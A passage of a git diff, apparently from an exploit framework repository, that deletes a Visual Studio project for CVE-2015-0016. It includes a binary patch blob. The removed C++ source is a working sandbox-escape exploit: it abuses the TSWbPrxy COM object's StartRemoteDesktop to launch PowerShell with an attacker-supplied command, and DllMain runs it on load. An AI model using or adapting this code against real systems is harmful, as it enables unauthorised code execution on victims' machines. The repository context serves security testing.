zIZ6H|IZd7=XUG|Hj{Kj=bL4N6v#j4ba*_JOWan3O`~93ePyIK@uAgcB*T@azQL>-> zX>yL`T}Td5|0m=q`Ge$sw$FRWaq90Q&r|OwC#e7T<P7yba+3N!a+dn5$!Y2zBIjA( z_2dloA0p?-o#Z*j-(Z;fJIN`Q_g-?5`uoZA)4Dx9hN(Y7E-?R%WGAn`!{j9MZzj8` z|18-{{&$8Me=|8i{V{Tg+(nL(7n9@U|3XfX`^ic2069(m0y#q-C+EmFkmtxTvV-yr zw=W|9f^6#bD{>X}itV<9>>@8EyUEpL57|j>Ae-x6FWFpY`N-zF$xk-dB>}RzZU~ai zc|Js5#qz>r7dc8c=g}D1jPr4_8Mph$W*knC&A8i7HsfTH>}Gi>vKhD1WHV08l1)F( zkWD|yl1)Fzk&WHv$(vZ-9N9xIkS`(^$rqDNKY0gP(T>e|-i)i}y1+&KI~m`-!0tWd z%cyT4zl-c8o9hA}`Eu(0<nnbCc?<PH@>S#z`F-Rt*^E<BvKg0R<m(tePQISpNA{Bw z<Q8&2c?UU3-bqf8O}|T%Z=`;fd=oiCzL}gQ?<VKSx03VZ+sJd|Ah|$3NG_7ibwP=I zi28YQglz8HKSDOonH(GdT)eMeMD~yulfC3BviUA#3E5BmQgV=7O%9Wt<QN&NWm+!& zCwg38M((42Ik}&_f}A3+B+rspk+WnMIZv)5o9|uDBb)DCR+9^izlK~QuO+L`>-wHg zc9Gp=54oP~C9fm<$rqA?<n`n*c>_5{-bn5vZzA`TJ>(SmBJwQxVse)J4sxD+3AsSN zlw2aeldQg=_kT0lMZS#eA-{|4CBK{OCtpquk{iiU@)mNO+(b^0o5@M?d&z0?Rpbo$ zedHY3N1h{JO)iqJA<vVylAX`!{lAXvCSOl(Ap6Naatk>?-a!tLcame|UF1IU4dj0E zjpP*hCh{!#W^$Iio17=_As5KEl1t><$m&_Wzd^E#ypQZ5A0&IpcaZ($L*yViLJpIU zlVjv|av%92azEL@3y>7Kifq1Pt0vD<UqjB4Ysq=?a&m#}BA3Xk$?A)`J=Tz2<nzfM z@;b7Yyn!4bUrr8@w~}Mz>&SiN9prxUadMjM;00BNTt&{2t-oKzh&xBFp}t72CC`(W zlbz4${ar_Pld&k7<-FwMWc-(d_1?k33$!4)iX0|alVju>av!;t+)rLkPLbD<XUSX1 zS+au{czJRaxj?Qam&i5dg78ba{<UNmc{$lbUPtzlw~_;72QL^y<Qj66TuY9Vmy;9Z zb>t*@D|wde;00xtTtm*2Ysm%jI&z7;mF&#$czN{kbdzhy4dhy~kGz!}FzGMR=|d(x zIcn0A<0d^hVbV9~^huMRoHpsn8593<9Y1H{ljlr)a?!;1>iF{}KH2$Y9&fUn>}b~U z8^|?epNUTnnD{;&KV<aesL^lJ`nb`P6GrdX`lQj5(}s6yea3J=bI$M{&2xr>nv3MB z`!&y#*OAS03_Y($z8=#~zb9?Q`%XI_!R#PAw{f<dc~2`}e%STLFbm7h_i#3ziGQ54 z?hLnMmY6+$<x6Z`A9+`9*UQ&LcD{Fk-ps}``O7RBdwerX%IHto_E%=h=-DJkZSzR< z7X8}}y~#o5Gd803CVxGDPky!2^Nr*i8pHBl_y}@n#LS*bK6;*?yj9jt&+|K4ZfB`W zBXTwEr04y$VV0D3dY*;kXXncI?^-XvcD;OWb~c|Vv&>U$L_6yzd3qk9d<UbQe&64U z*+q6fQm(Jo%U;>_N6Yos`pW)jK31-u=6lM=S##%t{9|Ri)Os^})68FxuhQ)0SL|HJ zzpreE`hC7wn~ATFQ`cE6UuD_#@?F%~e0KV_1$w=PfuzvoRgSmjyUWK<bF^$Xnmh2d zs=Yk<7S7IQ)~d;0z7alKe|G(1WxLh+%d9GU{1XfG@-?2(%RDXlLfWv*o0D9$)AJbR zTWrHJA5dnW8kYHjW|po(Nao*|*};Y@_M`O`d)6$!CO=8vUbaWA@4&ZJ+Ua?8mHO#< zewBWy=e<_ehtTsE?Rs55W6yeCl>BO^=gI1|Ib@5TrzzizX{YCr%CBLuFPTkiSlY9) ze|p}W{A#DyW4H(NlC{(GFYhk5zn(97yxc$Zyu?cV&AdUgMX%p*yj*`hzw&r_+|u(> z<ySjBZ`I7wmU+)|JS+WC&o4Ezu|+TQ7ENiwGJi*YwbSz=?RwqcDth6Lvi<4#qw=er zo>wg2*cq1cD)yu28OpEGOZoQrl7D49(DOhm_0jW`<ySjBPg%aVv$Jf~&dke`wFJZ& zHa*_3>5+P#v;1nO=Q+!-c6y#@r9OHdV5R?PuI!Iy`8DZf{;bT7HZ1KUUvL`M^Uq8U zGM`M&NhSwjndfKM3)}V5qNYY>K3auk9=3eJXv#DFN32}t!fTD5ANR)dq2AsDdw;X| zdb|Dnspo^5(q%rMoV`qKg=N05e6eflBXy7%`pm88`BvInzH+tOubww9zuM{f(-r&C z^T_4b=%qhbj;EeCF5h%&r{|f+%Ew2~L)E|b_OWlb@2{R0ezM%3^!)8gee`@Y8Bg>G zQ(<kfhE0Fd94*&JvwZKYo#vkM_@KGBeE!t)#dZ1SENZTTDx<hUkJIbO1TdFQoLuLK zlj|8R^%0Wm4RLaw)>6kaN7#(~GH#1ABd-}z&B!U^rZ^ez#F-Jn*tO~5rYD;oX^xy3 z;Z0AH?+e74Go`TzbL8c?iZdhq@B8`Jxj!%Ztv>%!{hJ)teYw}8Wee&i?|Nk>sLW}- z9rF=+OD5GWpI<EaXZ)G1)8#MBa^L=)`|sWoed)DprgxuSH2wJ2Cs(X@Akxlj4)5q{ ziyZDQuQS-z-hRxiGI%(CRrBF}k@iSyk3Gtrh;v1(&0Hf(Up4)8VYv(0QRPro+p&iE z+8X>RbX{pxVMTsfwkGBbR|l8k9<i==k*aN4>it!d{-38m#EYX@_`;()r<!$3)w<?7 zweG3&3u|Jl!zSL>&c{m6Xz-<ffd9>atXo~BRyS9x)lI8n5@!*T%kuxXz~6>A;_gKF zQ}9u8U2T=BZC)znm(#qC7fo{SZ_;c;co)1$<G_RQRY<d{X<4jpeXUyGwo0vUUa8i1 zyGy8H{=BTq%1he%GajX8E>h|tQ=Vsq^1QG~d3rZ0Pum9NX<n~9c(74lx}dN&uav2G z_+q6#4nM+lPa}NAr4@FpLit!2cU5z(TD5Ok%&}p)+R(d9ZD^}i8xGW{4b4uqp~=cM z>%fDxHQ2re+t*<GntiUAgKh4>OMn&4HEKoE(x9WhR@L{eQ1xxgRsDfwsvddQcdsot z@E=l3n-+N;R$E~OfbOL+2VOonyQ^Z0!`N=6t3f&^(p4kfQdQrCbnBO+ZCq;ofj72K zoolIb^;Rnv;<}oa7tAqTcNP9l3O>vI)^$gnk?$JBUDM=>)v-P%&5!Zo>hIwvACn_2 z_9Vx&x_nIKINXPqS$_%t6LTD-&S$WXy^#2$rh2qX{l2v&ljm+f?5Cv?pKTDVzqD4J zf1pmC-|SN7cb`{s6;@`K$CicjcVfN_%Bg>MwOZHvEbR3ewaziCmIblC7Id*Cux;rF zM-XRAjoR4zyxQ3I6}7SX%W9+JIpt!!6ynu4E>jn_?Nt{Z2&xO4Z&MdKZdPkb=M`Kr zotJ+R>~n$L%0B+`CfK{YBttuhth0`bZU36qmR1+)vSuH@g*Z>(C7OrrR>OX3^!0m` z+5j(ki>$+P+I6t=x_v83%L+Bw>e$k9U;OX4D0S*qrJ9)+k|;;@B3149jFn#Uu)M9_ zXW4K!Y*^x~T%=Yu)q1tA4)*O*tG>4^R^PZ{*QVa{&@OfA0&H8oW93t|C1+u2zAC$j zZ5NRAR=-$<bSu@WFIef`yQ$ZObgPhVrCR--mE8-|d67<>lrPRM>o+>ps;8EfY6{ia zC9$gT;@~2$98aq(vEjBAu;Jy(_0;m1Zg2D*^h>Mnz@E_Fd1+4^GUdl<@=^GGY@-zj z|0(=^<T|VFHK;qvM4vXt;cpNpgk%446HnWJS^r7sCg6?zTXuFH_M^t3YG7}c?Vh*D zTUWOf$FEk^HLWNti`ABo-3(6u{{#L-lmA+$THCx#t!=W#>a0EPCvl1MZTMFixBjYS z>eA+W7hmeQYq6`evamc~n{~#j!%KtORy`O?>#Xsz+8Qs-KD~}-Wi=0=T;^li-LYU? zsFS+%!nakUPD`yinLM^Wh<1Tr_EAaA{p`kgWVIv8Lwp&d_4u?3$7LnPCyZ}6UiD9{ zEu5=8Ha&uKIJ{{Ot34l9D*X#xj{JTLVdqmyrT(t6?Y_T9xWB>+LvOE7ty|>n^{LOc zjKHGG7vuP<ZU3%)?`gUMms|KtBL}|u-qF?3(c0OD^=>0A>WW3OMX#c(m-@X4k3C|t zbq~HN-__mS)veT}ORy%cjs1>YokwxW7wkHQm4~~P+kv%JZQSFqFQELG<aSF}+llr_ z00p<}m5jeCTjl%nmbSKTYn|o)w)hsTxqEE;souzet~-vkMRr76yVciCJj4k^S}`u2 zkuCds+jM41eMtC*W9^Xxr(zM+wfLOtDz|jD?T;Pn+|hNSvsZ0Go!cY53)fy&Kh?Rn zcK4o$$w%{dsE1{XuD_IWE0*MKQR>iQsg1SJv%0=&?}<qFsbHkrT3)#GXv8W5E%Po( zd-f{DXyAXa%CMFYmKA_odaT+bq;3?=uFjLky1P0%u(GjU*0%>!NxtTgvffPf%O$3< z4s?}UP(5F@ueW_iYYc1iqBb~8@m}=}*|w*v>-dS-4JSISMZkA;_G0N>^=G0vcnmw; z+J1ZIhp`?2#-b&+cSfxP*0w8t6pQR)&2Usy4!F8gEaIH%%ig%x>cJ%kBHbOwI<X=$ zR~^9Mw&Xy0?d+!{jGfo(Wq(`<MQD0b$ZG13O3rp$Ld$e6+20<)y23fx2VHrruDlaA zimEPHS{qk_i}yrYPrl)>tNz7YUs>*Df>>`sy&%1%We3hYV^ZpEyKa&2_pLq@6w^?T zA<fRnkrQ{{9qA6jh;hKw<JeYSZ~6wT;Enb-I>%CLoohMT>XFKx7^}j*ytsHzS1bCa zwd%FC;`c$z&h!G~AGE^zBAWhIa?l1MmXFl#s@qQV#!g`QYSc+<u=QK^Ji&Kbx$MWf z<4Qfdcu!^ZXy~4CSgUeNjmoQW|3;4*ojqOc5ov*yQZ7tN7>5G6Tr1XK>yd6@$%6v~ z4hL?ltbJ#?JJiSYy5Q`@Kj5n3lIRY#d)K~OckMBwmVI<HYutYW=SJ)L4oZ<3@K@op z@Bx=nKZ3-HV&ywh>vj`&qSiQgePu;_Y3)e2-~axWJ9h_nwS@eKB%OBn6Rg)wSfsGH zzFPa%-#;vQ+H*12i)PzGHrtI{s9(q?o{<anZ^b5^kqhIS?M5!tzZIKwM!r@2g?f|j z|95HTN1Aqc=~Mc>d7koR$~nqcDGQWmD2tRO%6Url$2vb3<$B5n%4SL*<u*z`<xa`~ z<sQl)<pIhN<zdP&Wt1{Tc|YZ&lqUZt$e*Bmnleq9q0Ca|DPN^5P!=iYDP2j<!(an@ z$PJWUN*|@4GC&!m3{gfY<CF=?6lI1oM_HgOQkE#^Db=TS{hX98N;jp4vVqb|>7(>h z1}USIaY~baf}EsGQ)Vdhlm*Ip%H^C#x`xt2>7xu&n)#;vOU`}{`A_Zlvy0Bo$Mg>) z|E2V@KmXW170&S-Haw<}b7?}$*p!ypx7bg!zYC?QgJY4Ip{HXEFUDH%51)GYA|@F9 znGOt$X!+3R3crz%|G_>>rV;<^L$3^ZwE7Ld5B(p#$xr#k-!gs+<3ES^-yJ+NxK6z` zSRDMox$}Q;z)G<f&%XA)@}XBe>dsg0d8O%%@xMR!)58B!>dFUA&E62@ciiAQr_&jE z&gp)~g8tt|ul>jS%Wqxyx!1eXS)BWY$!}f6zs`u~G!tC8iaV#7cr5k5`k#NBh9To9 zULje}X65-ThAS&v1?h&zaD=s+aU%p@178il9NtMO+l1xzLUhaEjZX5Fv?5o*Oa5Xk zvaJsOJbKwK<F#ymFT8LIc?TJ{a8{aq+`gX@w|`dt?}wDK@xaK+rvuUhAA`qhE9<SP z)K&IF>eB}=b$*EQVMx(G0x$YU;iW!L!e0jeS@Hm+)NdGG${T~1cwd5-efkS{(f<%$ z^lmhYw2x`C`;Y7M-anW0TzdAnXV~FDp~kU?8hkS;b+#vYvpDu`5?}n=?(G(My9NH~ zEzmUhv&K)qTd6<)pyzvcz5M#?_^ai!o~vAeti_w_>O8NncXHmv?<+q-_cHShFyG%* zn(O-`r}g+|TEvVIZQL$njM*k}WPin(_;1VKvjs5L%d^Df&$XOegJ<Fh7a*_4i7kV$ zAMycsC*IrjL8dOi_dD1wvb|oZmtVtn$Y(G|M4iF&R>%^32-`)j!TU@Ji~JP)@P9>l zkcV)hZASdVkUxf(IIqgd7at`{eMGjv%l4g+hZsH#Ik-{hGYt71cq=XB<C~a2<j>({ z`x(d!JeZ4uvfPk+;iV4kkdBM7mM*qeL0$qc<$56xUy3+VH^}e8%f9C!zxhtA$%XAN zKtA4})Nc@e0`hA(>APRUvsuXh4SzYp@^9&r@XZK|OrhWU5f-`Pa@=<!?1Fp<z8&FT zLHZkYokf1btHUoq{+!`6kX2Xe?IItAk0Y(f*BQp2ZK;Rht?iIsg_r#mDer+LEb@EJ zcsqf#FGIR<Atl>IehyxaX$tZKSE23*ABKD$UfLo2KBaz*i5n8<>8o)aa}D0QA-o3i zB)sH<|A|#8cxg|OfvvjEB4318$R`JRaGTC21bOv!*pI(aY8&LQ;hhN2Lmp^Bdm=1y z(N4_GL%0g^*YIhCWs$uIytIE5@-g@nwkIIJ2`_bc0kZlA9ri(v1yDZXq(#C@9FgbW z#CCx6!OQjnWaG^^?uZ|T9D)zMhIo+EyKxM$zq63vhPU#8bnMajR6)K2-j6t!K(@e3 zoSl##hL?P@kY_LtB#bz+fZ-+Z{Rn#@1Mo?NgOGdSpGG(g*$SUR82`Vk@SnO?n~S_W zsPh;3B)sJR3CI^2_U%>b^YF7sn}fV;pN`{)EW&58UF2tR!7Rr*1=({zhkGGc-mc4X zL9RQ9c18U4kO_FPd65qv(%T<}-1kBBX~a1I`FHRyA^Z!-y?4T1ir5Y*b3>{S7Wqqf zX`d40{;;lF4DyfQ{fLu-d^Cb~kuc==U1%GGpM|{oZXJIc<QT&*K=w!Vc9D5_$zSAk z$5DO}`9hw8m+cA2pD<j2yr*6FBYCs@S$K()g51)9dj+ITKu*KU_F2ePojUA-JPa@G zFY>S8r9IC;ey0oLCDOhGiT_7dS%gJC4_`z$54rJP#Q$5|lRzGWmwehGukD7tVY?sl zh91~F!U4!ly@)IEAzz0NAS{!&x80At5f=Fzy!6cs<i-b3Pi*%>{!jQU!t;<Hdl3B* z;eN<#K7!*YX(4CfWglOK+|-A>u`eFT2*Xjxe}I>L{0-zS52J1fhaf)>FLizv^23jy zOl*%sHa)8A(+qhW-r7gVC*Y+lk>8f>h%fURWzOPZ^g)rgF)UK%7|M2$GG|c2B4r++ zghk5SI0=iC`D_vv`D=!)`CpIe?J~DZ=4446kuvv4!Xjnfk%UFc+#(5!lzBuF7AbRJ zBrH<q{76`&%-fN$NSS{lVUd?Gtp3HF!@7sZeLRk!-8s}Ep!ZF-*HppQpbG~b>H)b} zTi~``AMa@QoWwsK<Hh>5o3FgWyV(<wc@_Bk;A=PEe&B{i-)2uwFW$hnws&<#uHAep z(zE&c>sHimYwhX5KiRgQ@*soGo@+Pb|B$cgIU2=3MfWsz96Q?G)zfuXZ{yLfj%!+b zI<7c*<z^3Nd>p$g($jm;UK+CUc((O+pXjmv9)P)B{1&;r=VB`zQuaiSp1}V$pCV&R zcjR9Dd2nx}E!chRBwpp-9qB16?dn}|B$fFDdm<+z?Vfh|y>@eJ&rO{tyN*Y?H+xPT zYdI?azJ2ZHyIR|OBAY#1%K2>Da_&;LZ8@t>+qRT<4#~G|G3^Fea4g;w`<1n3t#{Bj z=pPIWh6kgAvBAW6|9EmdH9kM?oN!MxO!y`O6QPOdM0_GKk(@|RWF~SGa}&jh`3dKw zd$M8DHyM}=O{!U(Q&5O&+%xVS_m2n1!{f2>KID}epB>MR=f?}<rExXkn($0`C;St^ ziSR^hqHm&qA~i8Pk)6m-6ejSzf6_JSne<NjCxesW$=GDyWdCGpa&|I1nV&37mL}Dd zYsxd_o$^lwr@~XQslKWHsnpc$RCX#qRhTMGscF}=XWBdMpAJrkr(@H7)BV$_>DlS* zbbh)pU7A)it{Kmacg8;xoC(jwX8LCOXHqk>GufH^Okt)pgB{3X920|2xl*2#H|0+S zQ{hxB)tBl|rBbu0Y$~5Bq)I6@;2Q7@cnACg!GZ8VY@lzTe;_q5JCGg74-^JU18UGU z=o$2)U4v-X*kIpa|6poxb}&1bA1n-(2Gx*j$TQ>}@(%@v!b7p4zM=l1)X?lub|^no z7%B~^Vb`!{*gNbW4i1NhW5a#J{llr@+2QPPez-7P8df8&5zmNs#6J=o36I1^`bPRk zQX{h?*^&H6VWc#oMqQ(xQSYdKG&mX_jg9t=_K&7UXGgQ6`O(5?X;h85#yn%*G5=U_ zEIbw)>l^DIOO4HrWykVkg|X6@O1sjYv^VWfhtkn>Je^1<)9G|3olDQ9i|P5a^R)YP z!)f2?!0FKG=;`?B#OdVe^y$p$-08W~#nbbro#XEDhH>9`U_3M)9gmMEU{mSw%y@2m zZoK$A+E#QjKAD(IPNpX_lex*c$>QYvq;twW)iC9o3QUEjqEqpy#8h%BJ(ZctP0dXe zr{<@e)9&epY2S2UIy4=fj!!41lhf(x%ye#gZn`)<Kkb}x&os>VW&$&zndnS>CNYzo zNzY_vax-%?#Tl$%lgGFXGjOKdsfLs<6-b3r(NsK@NF`J0R3?>6&83Q|`IK|OJ<u@V z8wd=92BHJ;fy6*^AU%*7$PLU56bI%9oP+Mc2K2AMU<kb{KA0Fx4yFe)gSo*uyyKZ4 zbPl<P8issBfuYb)bSOTQ7)lPMhcZLCp}C>r(EN~d*gf1Z>>CaYhlZoW@!`a9ayUJl z8O{yQ4Ht*!hn*wtk%kf9NMIy15*>+;Bu0`W>5<GxZe(txI5I!t9CeR2jQU0cqoL90 zXnZs=ik&K;pF+e?pZP%qltbatLuFB`JnB_I%}Syfa>7d8u+s)ust>jrfVGBTuTfZR z95$PP)h1!LX;^Lswwr_X&cS|*u;6*vu+y^Q2H3F=mK=aBhhWW7*mE2foq$azVby8a zbq1E5gKf{jx{I*yd04m;HtvR%H^9z)u=D_IJp^ly!rtSs_#F1oiM<QJx|6W(H0*mm zoq`?A!V<Eug*>dG0DF*;0Xyh&;J;dN|B4=3L?4|;FLk1yy3teR7|9qI#BtK&U>tom SX|)cLyzSm@fq!!?@P7ea#LPti literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln deleted file mode 100755 index 8edd55e5b0..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt deleted file mode 100755 index 8194dd462a..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt +++ /dev/null @@ -1,48 +0,0 @@ -======================================================================== - DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview -======================================================================== - -AppWizard has created this cve-2015-0016 DLL for you. - -This file contains a summary of what you will find in each of the files that -make up your cve-2015-0016 application. - - -cve-2015-0016.vcxproj - This is the main project file for VC++ projects generated using an Application Wizard. - It contains information about the version of Visual C++ that generated the file, and - information about the platforms, configurations, and project features selected with the - Application Wizard. - -cve-2015-0016.vcxproj.filters - This is the filters file for VC++ projects generated using an Application Wizard. - It contains information about the association between the files in your project - and the filters. This association is used in the IDE to show grouping of files with - similar extensions under a specific node (for e.g. ".cpp" files are associated with the - "Source Files" filter). - -cve-2015-0016.cpp - This is the main DLL source file. - - When created, this DLL does not export any symbols. As a result, it - will not produce a .lib file when it is built. If you wish this project - to be a project dependency of some other project, you will either need to - add code to export some symbols from the DLL so that an export library - will be produced, or you can set the Ignore Input Library property to Yes - on the General propert page of the Linker folder in the project's Property - Pages dialog box. - -///////////////////////////////////////////////////////////////////////////// -Other standard files: - -StdAfx.h, StdAfx.cpp - These files are used to build a precompiled header (PCH) file - named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. - -///////////////////////////////////////////////////////////////////////////// -Other notes: - -AppWizard uses "TODO:" comments to indicate parts of the source code you -should add to or customize. - -///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp deleted file mode 100755 index 753bd5d368..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp +++ /dev/null @@ -1,46 +0,0 @@ -// MyExploit.cpp : Defines the exported functions for the DLL application. -// - -#include "stdafx.h" -#include <objbase.h> - -#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace -#define MAX_ENV 32767 - -bstr_t GetEnv(LPCSTR env) -{ - CHAR buf[MAX_ENV]; - - GetEnvironmentVariable(env, buf, MAX_ENV); - - return buf; -} - -void DoTSWbPrxyExploit() { - HRESULT hr; - IMSTSWebProxy *pUnk; - - CHAR cmdline[] = "TSWbPrxy.exe"; - STARTUPINFO startInfo = { 0 }; - PROCESS_INFORMATION procInfo = { 0 }; - - hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); - if (hr == 0) - return; - - hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); - if (hr != 0) - return; - - pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); - pUnk->Release(); -} - -DWORD CALLBACK ExploitThread(LPVOID hModule) -{ - CoInitialize(nullptr); - DoTSWbPrxyExploit(); - CoUninitialize(); - - FreeLibraryAndExitThread((HMODULE)hModule, 0); -} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj deleted file mode 100755 index 3a252cceaa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> - <ItemGroup Label="ProjectConfigurations"> - <ProjectConfiguration Include="Debug|Win32"> - <Configuration>Debug</Configuration> - <Platform>Win32</Platform> - </ProjectConfiguration> - <ProjectConfiguration Include="Release|Win32"> - <Configuration>Release</Configuration> - <Platform>Win32</Platform> - </ProjectConfiguration> - </ItemGroup> - <PropertyGroup Label="Globals"> - <ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid> - <Keyword>Win32Proj</Keyword> - <RootNamespace>cve20150016</RootNamespace> - </PropertyGroup> - <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> - <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> - <ConfigurationType>DynamicLibrary</ConfigurationType> - <UseDebugLibraries>true</UseDebugLibraries> - <PlatformToolset>v120</PlatformToolset> - <CharacterSet>Unicode</CharacterSet> - </PropertyGroup> - <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> - <ConfigurationType>DynamicLibrary</ConfigurationType> - <UseDebugLibraries>false</UseDebugLibraries> - <PlatformToolset>v120</PlatformToolset> - <WholeProgramOptimization>true</WholeProgramOptimization> - <CharacterSet>MultiByte</CharacterSet> - </PropertyGroup> - <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> - <ImportGroup Label="ExtensionSettings"> - </ImportGroup> - <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> - <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> - </ImportGroup> - <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> - <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> - </ImportGroup> - <PropertyGroup Label="UserMacros" /> - <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> - <LinkIncremental>true</LinkIncremental> - </PropertyGroup> - <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> - <LinkIncremental>false</LinkIncremental> - </PropertyGroup> - <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> - <ClCompile> - <PrecompiledHeader>Use</PrecompiledHeader> - <WarningLevel>Level3</WarningLevel> - <Optimization>Disabled</Optimization> - <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> - <SDLCheck>true</SDLCheck> - </ClCompile> - <Link> - <SubSystem>Windows</SubSystem> - <GenerateDebugInformation>true</GenerateDebugInformation> - </Link> - </ItemDefinitionGroup> - <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> - <ClCompile> - <WarningLevel>Level3</WarningLevel> - <PrecompiledHeader>Use</PrecompiledHeader> - <Optimization>MaxSpeed</Optimization> - <FunctionLevelLinking>true</FunctionLevelLinking> - <IntrinsicFunctions>true</IntrinsicFunctions> - <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> - <SDLCheck>true</SDLCheck> - <RuntimeLibrary>MultiThreaded</RuntimeLibrary> - <CompileAs>CompileAsCpp</CompileAs> - </ClCompile> - <Link> - <SubSystem>Windows</SubSystem> - <GenerateDebugInformation>true</GenerateDebugInformation> - <EnableCOMDATFolding>true</EnableCOMDATFolding> - <OptimizeReferences>true</OptimizeReferences> - </Link> - </ItemDefinitionGroup> - <ItemGroup> - <Text Include="ReadMe.txt" /> - </ItemGroup> - <ItemGroup> - <ClInclude Include="stdafx.h" /> - <ClInclude Include="targetver.h" /> - </ItemGroup> - <ItemGroup> - <ClCompile Include="cve-2015-0016.cpp" /> - <ClCompile Include="dllmain.cpp"> - <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged> - <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> - </PrecompiledHeader> - <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged> - <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> - </PrecompiledHeader> - </ClCompile> - <ClCompile Include="stdafx.cpp"> - <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> - <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> - </ClCompile> - </ItemGroup> - <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> - <ImportGroup Label="ExtensionTargets"> - </ImportGroup> -</Project> \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp deleted file mode 100755 index e23ee055cf..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp +++ /dev/null @@ -1,24 +0,0 @@ -// dllmain.cpp : Defines the entry point for the DLL application. -#include "stdafx.h" - -DWORD CALLBACK ExploitThread(LPVOID hModule); - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - - diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp deleted file mode 100755 index 0aef05abb6..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp +++ /dev/null @@ -1,8 